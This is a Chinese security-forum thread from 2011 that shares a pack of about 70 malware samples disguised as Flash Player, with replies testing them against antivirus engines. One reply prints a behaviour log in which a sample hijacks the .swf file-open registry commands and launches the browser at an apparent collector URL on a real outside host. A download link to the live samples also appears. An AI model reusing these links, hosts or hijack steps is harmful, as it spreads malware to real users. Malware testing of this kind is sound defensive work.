70X伪装flash player（已经打包BY 三生缘石）

显示全部楼层 · 发表于 2011-7-4 07:43:23

本帖最后由思齐鼠于 2011-7-4 13:50 编辑

http://u.115.com/file/dncc9s95
全在上面的链接上
FromBlast Security LAB

显示全部楼层 · 发表于 2011-7-4 07:50:57

本帖最后由 256897loi 于 2011-7-4 08:03 编辑

好东西啊..

测试去

2011-7-4 07:59:02 创建新进程允许
进程: c:\windows\explorer.exe
目标: c:\documents and settings\user\桌面\002.exe
命令行: "C:\Documents and Settings\user\桌面\002.exe"
规则: [应用程序]*

2011-7-4 07:59:04 创建文件允许
进程: c:\documents and settings\user\桌面\002.exe
目标: C:\FlashPlayer.exe
规则: [文件]?:\

2011-7-4 07:59:21 创建新进程允许
进程: c:\documents and settings\user\桌面\002.exe
目标: c:\flashplayer.exe
命令行: c:\FlashPlayer.exe "C:\DOCUME~1\user\LOCALS~1\Temp\7071134.swf"
规则: [应用程序]*

2011-7-4 07:59:27 修改注册表值允许
进程: c:\windows\explorer.exe
目标: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Applications\FlashPlayer.exe\shell\open\command
值: "C:\FlashPlayer.exe" %1
规则: [注册表组]系统设置 -> [注册表]HKEY_LOCAL_MACHINE\SOFTWARE\Classes\*\command

2011-7-4 07:59:30 修改注册表值允许
进程: c:\flashplayer.exe
目标: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ShockwaveFlash.ShockwaveFlash\shell\open\command
值: "c:\FlashPlayer.exe" %1
规则: [注册表组]系统设置 -> [注册表]HKEY_LOCAL_MACHINE\SOFTWARE\Classes\*\command

2011-7-4 07:59:47 创建新进程阻止
进程: c:\documents and settings\user\桌面\002.exe
目标: c:\program files\mozilla firefox\firefox.exe
命令行: "C:\Program Files\Mozilla Firefox\firefox.exe" -requestPending -osint -url "http://www.medday.ru/slim_collector/collector.php"
规则: [应用程序]*

2011-7-4 07:59:53 删除文件阻止
进程: c:\documents and settings\user\桌面\002.exe
目标: C:\FlashPlayer.exe
规则: [文件]?:\

运行结果都差不多,愣没发现什么可疑

显示全部楼层 · 发表于 2011-7-4 07:53:13

一个个下载太麻烦了吧，希望楼主打包一下吧

显示全部楼层 · 发表于 2011-7-4 07:53:46

QQ旋风下不了，没人打包上传吗？

显示全部楼层 · 发表于 2011-7-4 07:57:10

好东西

显示全部楼层 · 发表于 2011-7-4 08:28:35

360 SD BD引擎、红伞引擎清空

显示全部楼层 · 发表于 2011-7-4 08:30:53

KingSoft Killed!

显示全部楼层 · 发表于 2011-7-4 08:44:55

能不能打包上传一下？

显示全部楼层 · 发表于 2011-7-4 08:55:44

avast! miss 15x

显示全部楼层 · 发表于 2011-7-4 09:18:58

大蜘蛛SpIDer Gate阻止：

报告为已知感染源。

[病毒样本] 70X伪装flash player（已经打包BY 三生缘石）

评分

本帖子中包含更多资源